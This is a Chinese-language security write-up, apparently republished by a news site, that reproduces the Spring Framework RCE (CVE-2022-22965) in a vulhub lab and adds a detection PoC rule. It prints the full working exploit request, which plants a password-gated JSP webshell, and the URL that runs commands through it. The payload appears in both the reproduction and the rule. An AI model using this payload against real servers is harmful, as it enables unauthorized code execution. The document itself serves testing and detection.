Redian新闻
>
Spring Framework远程代码执行漏洞复现

Spring Framework远程代码执行漏洞复现

科技

0x01 漏洞描述

Spring framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击

0x02 漏洞影响范围

Spring Framework < 5.3.18
Spring Framework < 5.2.20

0x03 漏洞利用条件

JDK9或以上版本系列
Spring框架或衍生的SpringBoot等框架,版本小于v5.3.18或v5.2.20
Spring JavaBean表单参数绑定需要满足一定条件
部署在Tomcat容器中,且日志记录功能开启(默认状态)

0x04漏洞复现

通过vulhub拉取
docker-compose up -d

访问演示页面
http://your-ip:8080/?name=Bob&age=25


访问对应的controller,这里设置了日志的文件名、文件路径、以及后缀名,将后缀名设置为.jsp,然后不断地写入执行命令的jsp代码,从而实现webshell的写入,还需要补充cookie。
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1Host: ip:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closesuffix: %>//c1: Runtimec2: <%DNT: 1

然后,访问刚写入的JSP Webshell,执行任意命令
http://ip:8080/tomcatwar.jsp?pwd=j&cmd=id

0x05检测poc规则编写

params: []name: Spring 远程命令执行漏洞(CVE-2022-22965)set: {}rules:- method: GET path: '/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= ' headers: DNT: "1" c1: Runtime c2: <% suffix: '%>//' body: "" search: "" followredirects: false expression: response.status == 200- method: GET path: /tomcatwar.jsp?pwd=j&cmd=id headers: {} body: "" search: "" followredirects: false expression: response.status == 200 && response.body.bcontains(b"uid")groups: {}detail: author: "" links: [] description: "" version: ""


0x06漏洞修复

1、官方已发布漏洞补丁及修复版本,请评估业务是否受影响后,酌情升级至安全版本。
0x07 参考
https://blog.csdn.net/huangyongkang666/article/details/124187398

E

N

D



Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。


微信扫码关注该文公众号作者

戳这里提交新闻线索和高质量文章给我们。
相关阅读
(灌水),高校老师说Another Video of Violence Against Woman Sparks Outcry in ChinaA Community Worker’s Account of Life on the COVID-19 Frontline美股SPAC|中国投行深度参与SPAC,由瑞士信贷前总裁领导的SPAC将与曾强的鑫根资本合作未上线估值10亿,WeWork创始人留下烂摊子再出发,进军房地产业免费演出|Free Shakespeare on the Common 2022:Much Ado About Nothing[模型] 1/12模型 S-WORKS VENGE变色龙Fatal Car Crash Sparks Safety Concerns Over Autonomous Driving双喜临门:小外甥结婚、退休庆祝会For Women Delivery Drivers, Gig Work Feels Like a Guy’s WorldShanghai Reopening Diary: View From a Pudong Mall【6.19今日折扣】Amazon Fresh超值限时满减!Nintendo eshop游戏限时2折起!Wedgewood从小到大赞美的升级Shanghai Spring/Summer 2022: The Season That Never WasHow a Flailing Tutoring Company Became a National Rallying CryWeWork中国:新社区 新未来WeWork创始人做“美版自如”,a16z叒砸3.5亿美金以色列游记:耶路撒冷见闻Women Want Pepper Spray To Keep Safe, But Buying It Isn’t EasyFor China’s New ‘New Women,’ a Dream of FlightTrain to Chengdu: Two Students Reflect on Leaving ShanghaiSocial Network: How Shanghai Stemmed the Surge, 100 Years AgoHow China’s ‘Mom Groups’ Share the Work of ParentingLearning Device Accused of Offering ‘Inappropriate’ ContentIn Cambodia, a Network Rescuing Trafficked Chinese Is UnravelingShanghai Reopening Diary: City to Restart Some Schools From June坑了软银400亿的他又回来了:蹭上web3,搭上a16z,用WeWork的老把戏再骗你一次Civil Engineering Degree Loses Appeal as Property Market CoolsChinese Men Still Get a Pass on Domestic Labor. Even From Women.芝加哥周末不无聊|Navy Pier Fireworks夏日烟火来了!爱这个胜过豆浆油条 ~~*蛋烘糕*~~家乡味嘛(视频)任何在纸面上无懈可击的计划,执行起来都是漏洞百出。任何。【前瞻Prospect·EP03】线性资本王淮: From Scaling FB to Leading VC InvestingLearning the True Meaning of Freedom a Gift for Children’s DaySummer (and Spring, and Fall) Heat Waves Are the New Normal
logo
联系我们隐私协议©2024 redian.news
Redian新闻
Redian.news刊载任何文章,不代表同意其说法或描述,仅为提供更多信息,也不构成任何建议。文章信息的合法性及真实性由其作者负责,与Redian.news及其运营公司无关。欢迎投稿,如发现稿件侵权,或作者不愿在本网发表文章,请版权拥有者通知本网处理。